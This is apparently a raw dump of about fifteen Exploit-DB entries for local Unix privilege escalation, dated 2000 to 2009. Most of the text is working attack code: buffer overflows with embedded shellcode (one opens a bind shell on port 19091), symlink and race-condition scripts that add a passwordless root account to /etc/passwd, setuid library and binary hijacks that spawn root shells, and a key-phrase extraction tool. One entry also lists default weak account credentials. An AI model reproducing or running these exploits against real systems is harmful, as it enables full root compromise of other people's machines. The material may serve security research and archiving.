deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24335
Description: Oracle9i Database - Default Library Directory Privilege Escalation
Type: local
Platform: unix
Date: 2004-07-30
Author: Juan Manuel Pascual EscribÃ¡

Exploit:
source: https://www.securityfocus.com/bid/10829/info

Oracle database implementations are reportedly prone to a default library directory privilege escalation vulnerability. This issue arises due to a default configuration error that will permit the attacker to replace libraries required by setuid root applications with arbitrary code.

This issue would allow an Oracle software owner to execute code as the superuser, taking control of the entire system.

It should be noted that this vulnerability only affects Oracle on UNIX/Linux platforms.

#include
#include

_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
setuid(0);
system("/usr/bin/ksh");
printf("Saliendo del Init()\n");
}
Exploit-DB #10044
Description: ProFTPd 1.3.0 (OpenSUSE) - 'mod_ctrls' Local Stack Overflow
Type: local
Platform: unix
Date: 2009-10-12
Author: Michael Domberg

Exploit:
#!/usr/bin/perl -w
#
# Exploit for the ProFTPd mod_ctrls vulnerability.
# Stack Overflow in function
# int pr_ctrls_recv_request(pr_crls_cl_t *cl)
# unchecked buffer for arguments of the module
#
# connects to the unix domain socket and sends a string
# that is longer than the buffer (char[512]).
#
# Cheers to Alfredo "revenge" Pesoli for the implementation 
# on Ubuntu and Debian Etch
#
# works on OpenSuSE 10.2 on i686
# 
# http://www.devtarget.org
# Michael Domberg
#
# Usage: $ /usr/bin/perl proftpd-mod_ctrls-opensuse10_2.pl /path/to/local/socket
#
# Example (on OpenSuSE 10.2):
# $ /usr/bin/perl proftpd-mod_ctrls-opensuse10_2.pl /usr/local/var/proftpd/proftpd.sock
#
###############################
use strict;
use Socket;

# bind on port 19091
my $shell = 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x31\xdb\xb0\x2e\xcd\x80".
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80".
"\x89\xc7\x31\xc9\x66\xb9\x4a\x93\x52\x66\x51\x43\x66\x53\x89\xe1".
"\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd".
"\x80\x31\xc0\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3".
"\x89\xd9\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\xeb\x18\x5e\x31\xc0\x88".
"\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d".
"\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

print "[+] Preparing attack string...\n";

my $rsock   = shift;

my $buf = "A"x520; 

use constant TEMPSOCK  => '/tmp/tmp.sock';

$buf = $buf."\0\0\x0a\xff"."AAAAaaaaAAAAaaaa"."\x77\xe7\xff\xff".$shell;
my $l = length($buf);
print "[+] Opening Unix Domain Socket to mod_ctrls \n";

socket (SOCK, PF_UNIX, SOCK_STREAM, 0)  or die "[-] Socket creation failed : $!";
my $rfile = sockaddr_un($rsock);

unlink TEMPSOCK;
my $lfile = sockaddr_un(TEMPSOCK);

bind (SOCK, $lfile) or die "[-] Creation of Unix Domain Socket failed. ($lfile)";
chmod (00700, TEMPSOCK);

connect (SOCK, $rfile) or die "\n [-] Connection to control socket failed.\n\n";

print "[+] Sending attack...\n";

send SOCK, pack("s2", 0),0;
send SOCK, pack("s2", 1,0),0;
send SOCK, pack("C", 188).pack("C",2).pack("s1",0),0;
send SOCK, $buf,0;

close SOCK;

print "\n [+] Attack String sent. Try to connect to Port 19091\n\n";
Exploit-DB #20678
Description: Rob Malda ASCDC 0.3 - Local Buffer Overflow (1)
Type: local
Platform: unix
Date: 2001-03-08
Author: anonymous

Exploit:
/*
source: https://www.securityfocus.com/bid/2462/info

ascdc is a program written for X by Rob Malda. It is designed to provide a graphical interface to cd changing on linux systems.

A vulnerability in the program could allow elevated privileges on a system with the package installed setuid. Due to insufficent bounds checking, it is possible to execute arbitrary code with the ascdc program. Overflows in the -c, -d, and -m arguments make it possible for a user to overwrite variables on the stack, including the return address, and execute shellcode.

The program is not installed setuid. However, in a setuid installation, this problem makes it possible for a user to execute arbitrary code, and potentially gain elevated privileges. 
*/

char shellcode[]="\xeb\x15\x59\x31\xc0\x31\xdb\x31\xd2\xb0"
           "\x04\xb3\x01\xb2\x50\xcd\x80\x31\xc0\xb0"
           "\x01\xcd\x80\xe8\xe6\xff\xff\xff"
           "Would you like to play a game? y\x0aStrange, the only winning
move is not to play.\x0a";
#define bsize 600
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int i;
  buff = malloc(bsize);

  addr = get_sp();
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < 600/2; i++)
    buff[i] = 0x90;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
    buff[bsize - 1] = '\0';
 execlp("/usr/X11R6/bin/ascdc","ascdc","-d",buff,0);

}
Exploit-DB #22067
Description: SAP DB 7.3.00 - Symbolic Link
Type: local
Platform: unix
Date: 2002-12-04
Author: SAP Security

Exploit:
source: https://www.securityfocus.com/bid/6316/info

A vulnerability has been discovered in SAP DB that may allow an unprivileged to execute commands with root privileges. The vulnerability is due to insufficient sanity checks by lserver, when attempting to execute the 'lserversrv' binary in the current directory. 

An attacker can exploit this vulnerability by creating a symbolic link to the 'lserver' binary in a directory containing a maliciously created 'lserversrv' binary. Executing lserver via the symbolic link will cause the malicious 'lserversrv' progam in the current directory to be executed.

cd /tmp
mkdir "snosoft+sapdb=root"
cd "snosoft+sapdb=root"
ln -s /usr/sapdb/depend/pgm/lserver lserver
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > root.c
cc -o root root.c
cp root lserversrv
./lserver
Exploit-DB #25333
Description: SCO OpenServer 5.0.6/5.0.7 - NWPrint Command Line Argument Local Buffer Overflow
Type: local
Platform: unix
Date: 2005-04-04
Author: pasquale minervini

Exploit:
// source: https://www.securityfocus.com/bid/12986/info

nwprint that is distributed with SCO OpenServer is prone to a local buffer overflow vulnerability. This issue arises because the application fails to perform boundary checks prior to copying user-supplied data into sensitive process buffers. A local attacker can gain elevated privileges (lp user) by exploiting this issue. 

/*
 * minervini at neuralnoise dot com (c) 2005
 * sample code exploiting a buffer overflow vulnerability in
 * NetWare Unix Client 1.1.0Ba on SCO OpenServer 5.0.7;
 */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#ifndef _PATH
# define _PATH ("/usr/lib/nucrt/bin/nwprint")
#endif

/*
 * this shellcode may sound a bit tricky; most of the work
 * is caused by SCO's way to call the kernel, lcall  $0x7,$0x0,
 * translated by the assembler in "\x9a\x00\x00\x00\x00\x07\x00";
 * to avoid zeroes i push the NOT-ed bytes on the stack, NOT them
 * and then jump to %esp;
 * if anyone knows a shorter way to do this execve, a mail is appreciated.
 */

char *scode =
  "\x31\xc9"             // xor    %ecx,%ecx
  "\x89\xe3"             // mov    %esp,%ebx
  "\x68\xd0\x8c\x97\xff" // push   $0xff978cd0
  "\x68\xd0\x9d\x96\x91" // push   $0x91969dd0
  "\x89\xe2"             // mov    %esp,%edx
  "\x68\xff\xf8\xff\x6f" // push   $0x6ffff8ff
  "\x68\x9a\xff\xff\xff" // push   $0xffffff9a
  "\x80\xf1\x10"         // xor    $0x10,%cl
  "\xf6\x13"             // notb   (%ebx)
  "\x4b"                 // dec    %ebx
  "\xe2\xfb"             // loop   $-3
  "\x91"                 // xchg   %eax,%ecx
  "\x50"                 // push   %eax
  "\x54"                 // push   %esp
  "\x52"                 // push   %edx
  "\x50"                 // push   %eax
  "\x34\x3b"             // xor    $0x3b,%al
  "\xff\xe3";            // jmp    *%ebx

unsigned long get_sp (void) {
   __asm__("movl %esp,%eax");
}

int main (int argc, char **argv) {

   int i, slen = strlen(scode), offset = 0;
   long ptr, *lptr;
   char *buf;

   if (argc > 1)
     offset = strtoul(argv[1], NULL, 0);

   buf = (char *)malloc(1024);
   memset(buf, 0, 1024);

   for (i = 0; i < (901 - slen); i++)
     buf[i] = 0x90;

   printf("shellcode length: %d\n", slen);

   for (i = (901 - slen); i < 901; i++)
     buf[i] = scode[i - (901 - slen)];

   lptr = (long *)(buf + 901);

   printf("address: 0x%lx\n", ptr = (get_sp() - offset));

   for (i = 0; i < 30; i++)
     *(lptr + i) = (int)ptr;

   execl(_PATH, "nwprint", buf, NULL);

   return(0);
}
Exploit-DB #21884
Description: Sendmail 8.12.x - SMRSH Double Pipe Access Validation
Type: local
Platform: unix
Date: 2002-10-01
Author: zen-parse

Exploit:
source: https://www.securityfocus.com/bid/5845/info

Sendmail is a freely available, open source mail transport agent. It is maintained and distributed by the Sendmail Consortium. Sendmail is available for the Unix and Linux operating systems.

smrsh is designed to prevent the execution of commands outside of the restricted environment. However, when commands are entered using either double pipes (||) or a mixture of dot (.) and slash (/) characters, a user may be able to bypass the checks performed by smrsh. This could lead to the execution of commands outside of the restricted environment. 

$ echo "echo unauthorized execute" > /tmp/unauth
$ smrsh -c ". || . /tmp/unauth || ."
/bin/sh: /etc/smrsh/.: is a directory
unauthorized execute

OR one of the following types of commands:

smrsh -c "/ command"
smrsh -c "../ command"
smrsh -c "./ command"
smrsh -c "././ command"
Exploit-DB #20769
Description: Siemens Reliant UNIX 5.4 - ppd -T Race Condition
Type: local
Platform: unix
Date: 2001-04-14
Author: Ruiz Garcia

Exploit:
source: https://www.securityfocus.com/bid/2606/info

Reliant Unix is a variant of the UNIX Operating System distributed by Fujitsu-Siemens. Reliant Unix is a scalable UNIX Operating system designed for use on Siemens servers.

A problem in the operating system could make it possible for a user to deny service to legitimate users. Due to the improper checking of file creation rights by the ppd software package included with the operating system, it is possible for a user to create a symbolic link in /tmp with the name ppd.trace, and overwrite any file on the system.

This vulnerability makes it possible for a local user to overwrite sensitive system files, potentially denying service to legitimate users, and possibly gaining elevated privileges. 

ln -s /etc/passwd /tmp/ppd.trace

/opt/bin/ppd -T

cat /etc/passwd
[..]
Exploit-DB #21408
Description: SLRNPull 0.9.6 - Spool Directory Command Line Parameter Buffer Overflow
Type: local
Platform: unix
Date: 2002-04-22
Author: zillion

Exploit:
source: https://www.securityfocus.com/bid/4569/info

N is a freely available, open source news reading utility. It is developed and maintained by the SLRN project, and designed for use on various operating systems. This problem affects the UNIX and Linux implementation.

Due to a boundary condition error, a buffer overflow condition exists in spool directory names. This problem affects the slrnpull program, included as part of the slrn package. When slrnpull is executed with the -d flag, and a file name of greater than 4091 bytes, the overflow makes it possible to overwrite process memory, including the return address.

#!/bin/sh
echo DEFANGED.5
exit
#!/usr/bin/perl
#
# Credits for the vulnerability: Alex Hernandez (its setgid news not root)
# The exploit was written by:    zillion@snosoft.com / safemode.org
# http://www.safemode.org 
# http://www.snosoft.com
#
# Gain setgid news on a Red Hat 6.2 Intel box

$shellcode = 
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46".
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1".
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

$offset  = "-500"; 
$esp     = 0xbfffe2cc;

for ($i = 0; $i < (2041 - (length($shellcode)) - 4); $i++) {
    $buffer .= "\x90";
}

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset)); 

print("The new return address: 0x", sprintf('%lx',($esp + $offset)), "\n");

exec("/usr/bin/slrnpull -d '$buffer'");
Exploit-DB #21120
Description: Snes9x 1.3 - Local Buffer Overflow
Type: local
Platform: unix
Date: 2001-10-16
Author: Niels Heinen

Exploit:
// source: https://www.securityfocus.com/bid/3437/info

Snes9x is a free Super Nintendo emulator that runs on a number of platforms.

Snes9x is prone to a buffer overflow. This is due to improper bounds checking of rom names. In this case, 4089 characters are required to overwrite the EIP. If this buffer is overrun, it may be possible for a local attacker to execute arbitrary code on the host. This may be a security concern on some systems because Snes9x documentation suggests setting the utilities setuid root.

Successful exploitation will lead to a full compromise of the host.

It should be noted that packages distributed in SuSE Linux, NetBSD, OpenBSD, FreeBSD, Debian Linux and Progeny Linux are not installed setuid root by default so exploitation of the buffer overflow will not lead to a root compromise on these systems.

/*
 * snes9x local root exploit
 *
 * Tested on snes9x 1.3.7 + Redhat Linux 6.1
 * 2001/10/16 Creation morinosato
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 4089

char shellcode[]=
"\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08"
"\xb1\x07\x80\x03\x20\x43\xe0\xfa\x29\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x87\xf3"
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0"
"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x0f\x42"
"\x49\x4e\x0f\x53\x48";

main(int argc, char **argv)
{
	char buf[BUFSIZE + 1];
	char writeaddr[8];
	char *arg[] = {"./snes9x",buf,0};
	int i;
	unsigned int addr;

	addr = (0xc0000000 - 4)
		 - (sizeof("./snes9x"))
		 - (sizeof(buf));

	*(unsigned int *)&writeaddr[0] = addr;
	memset(buf, 'A', BUFSIZE);

	for (i = 0; i < strlen(shellcode); i++)
		buf[i] = shellcode[i];

	buf[83] = writeaddr[0];
	buf[84] = writeaddr[1];
	buf[85] = writeaddr[2];
	buf[86] = writeaddr[3];

	buf[BUFSIZE] = 0;

	printf("jmp to [0x%08x]\n",writeaddr);
	execve(arg[0], arg, 0);
}
Exploit-DB #21108
Description: SpeechD 0.1/0.2 - Privileged Command Execution
Type: local
Platform: unix
Date: 2001-09-11
Author: Tyler Spivey

Exploit:
source: https://www.securityfocus.com/bid/3326/info

SpeechD is a device-independent layer for speech synthesis under Linux, providing an interface for speech-based applications or device drivers.

SpeechD has been found to contain a flaw under certain implementations which can permit a local user to pass malcious commands to the /dev/speech device, and have them executed with the privilege level of the speechd user, which is usually root. 

echo "';[hostile shell command]" >/dev/speech
Exploit-DB #20560
Description: SSH 1.2.x - Secure-RPC Weak Encrypted Authentication
Type: local
Platform: unix
Date: 2001-01-16
Author: Richard Silverman

Exploit:
// source: https://www.securityfocus.com/bid/2222/info

SSH is a package designed to encrypt traffic between two end points using the IETF specified SSH protocol. The SSH1 package is distributed and maintained by SSH Communications Security.

A problem exists which could allow the discovery of the secret key used to encrypt traffic on the local host. When using SUN-DES-1 to share keys with other hosts on the network to facilitate secure communication via protocols such as NFS and NIS+, the keys are shared between hosts using the private key of the user and a cryptographic algorithm to secure the contents of the key, which is stored on the NIS+ primary. The problem occurs when the key is encrypted with the SUN-DES-1 magic phrase prior to having done a keylogin (the keyserv does not have the users DH private key). A design flaw in the software that shares the key with the NIS+ master will inconsistently return the correct value for an attempted keyshare that has failed. A step in the private key encryption process is skipped, and the users private key is then encrypted only with the public key of the target server and the SUN-DES-1 magic phrase, a phrase that is guessable due to the way it is generated. A user from the same host can then execute a function that returns another users magic phrase, and use this to decrypt the private key of the victim. This makes it possible for a user with malicious intent to gain knowledge of a users secret key, and decrypt sensitive traffic between two hosts, with the possibility of gaining access and elevated privileges on the hosts and/or NIS+ domain. This reportedly affects the SSH2 series of the software package. 

#include <stdio.h>
#include <rpc/rpc.h>

void die (char *msg)
{
  fprintf(stderr,"%s\n",msg);
  exit(1);
}

main (int argc, char **argv)
{
  char buf[MAXNETNAMELEN + 1];
  des_block block;
  uid_t uid;
  char *netname;

  if (argc < 3)
    die("supply uid and netname");

  sscanf(argv[1], "%d", &uid);
  netname = argv[2];
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "ssh.%04X", uid);
  memcpy(block.c, buf, sizeof(block.c));
  if (key_encryptsession(netname, &block) != 0)
    die("key_encryptsession failed");
  printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
         uid,
         netname,
         ntohl(block.key.high),
         ntohl(block.key.low));
}
Exploit-DB #19823
Description: Standard & Poors ComStock 4.2.4 - Command Execution
Type: local
Platform: unix
Date: 2000-03-24
Author: kadokev

Exploit:
source: https://www.securityfocus.com/bid/1080/info

Numerous vulnerabilities exist in the ComStock product, as sold by Standard & Poor's. ComStock is based on the RedHat 5.1 distribution, and contains many of the vulnerabilities found in the 5.1 distribution. In addition, it contains numerous accounts with weak, or nonexistent passwords.

The ComStock MultiCSP machine is intended to provide a realtime stock quote stream. It runs a proprietary service called 'mcsp' to provide this service. These machines acquire their data via a leased line, or other dedicated data connection. They used reserved address space. However, no attempt is made to prevent these ComStock machines from being used to compromise other machines on the private network. In addition, the routers utilized on the private network these machines communicate over are internet-accessible. 

There are numerous accounts with easily guessable passwords. The following are well known passwords:
User: root [CREDENTIAL_REDACTED]
User: helpmcsp: Password: (none)
User: helpicl Password: (none)

The helpmcsp and helpicl accounts will display a set of help to the user accessing these accounts, using the 'more' command. Shell level access can be gained as follows:
Hit 'v' to bring up the file in vi
:set shell=/bin/bash <RETURN>
:shell <RETURN>

In addition, many RedHat 5.1 exploits should allow for the compromise of these machines.
Exploit-DB #21244
Description: Tarantella Enterprise 3 - gunzip Race Condition
Type: local
Platform: unix
Date: 2002-02-08
Author: Larry Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/3966/info

Tarantella Enterprise 3 is vulnerable to a race condition during the installation process. During installation, a root owned binary is created in /tmp (the directory specified by the $TMPDIR environment variable) with the name gunzip#### where #### is a PID. Prior to it being invoked by the installation program it can be overwritten by a local user. This is then run by the installation program with root privileges.

An attacker can only gain privileges in this manner if a privileged user is installing the software.

#!/usr/bin/perl -w
#Another Exploit for tarantella enterprise 3 installation.
#Larry Cashdollar lwc@vapid.dhs.org 2/08/2002
#Exploits gunzip$$ binary being created in /tmp with perm 777
#http://online.securityfocus.com/bid/3966
#Experimental ext3 kernel mods for preventing/researching race conditions.
#http://vapid.dhs.org/tmp-patch-kernel-2.4.17.html

use strict;

`cat  <<  -EOF- > root.sh
#!/bin/sh
chmod 777 /etc/passwd
echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
-EOF-`;

my $OUT = '';

while(!$OUT) {
	$OUT =  `ps -ax |grep gunzip |grep -v grep`;
        print "Found $OUT\n";
}

my @args  = split(' ',$OUT);
# Do this with one copy operation. This will break installation of tarantella.
# should test for -w on /etc/passwd stop and su - tarexp.
while(1) {
`cp root.sh $args[4]`;
}
Exploit-DB #21290
Description: Tarantella Enterprise 3 - Symbolic Link
Type: local
Platform: unix
Date: 2002-02-19
Author: Larry W. Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/4115/info

Tarantella Enterprise 3 contains a locally exploitable symbolic link vulnerability during it's installation procedure.

This vulnerability can be exploited to elevate privileges. An attacker anticipating the install of Tarantella could create a symbolic link to any file as '/tmp/spinning'. When the installation utility is run, the file pointed to by the link will be made world writeable.

The attacker may gain root privileges by overwriting a file such as '/etc/passwd'.

#!/bin/bash
#Larry W. Cashdollar  lwc@vapid.dhs.org
#http://vapid.dhs.org
#Tarantella Enterprise 3 symlink local root Installation exploit
#For educational purposes only.
#tested on Linux.  run and wait.


echo "Creating symlink."

/bin/ln -s /etc/passwd /tmp/spinning

echo "Waiting for tarantella installation."

while true
do
echo -n .
if [ -w /etc/passwd ]
then
        echo "tarexp::0:0:Tarantella Exploit:/:/bin/bash" >> /etc/passwd
        su - tarexp
        exit
fi
done
Exploit-DB #21106
Description: Taylor UUCP 1.0.6 - Argument Handling Privilege Escalation
Type: local
Platform: unix
Date: 2001-09-08
Author: zen-parse

Exploit:
source: https://www.securityfocus.com/bid/3312/info

Taylor UUCP is an implementation of the UUCP package written originally by Ian Lance Taylor.

A problem has been discovered in Taylor UUCP that makes it possible for local users to gain elevated privileges. The problem is due to the handling of configuration files when passed to uucp via the --config flag. When uux receives a request to execute commands using a malicious --config file, the commands will be executed with the privileges of uuxqt, a setuid uucp daemon by default.

This makes it possible for a local user to gain elevated privileges, and could lead to a local user gaining administrative access. 

uux 'uucp --config=/tmp/vv.v /tmp/somefile /tmp/someotherfile'

will use the supplied configuration, without dropping privileges.

1) Make a configuration file that allows any command to be executed, and allows files from anywhere to be copied to anywhere that is writable by uid/gid uucp. ( /tmp/config.uucp )
2) Make a command file with the command you want to be executed.
( /tmp/commands.uucp )
3) Do something like the following:

$ THISHOST=`uuname -l`
$ WHEREYOUWANTIT=/var/spool/uucp/${THISHOST}/X./X.${THISHOST}X1337
$ uux 'uucp --config=/tmp/config.uucp /tmp/commands.uucp '${WHEREYOUWANTIT}

The commands in /tmp/commands.uucp file will be executed by uuxqt, with the uid/gid of uucp.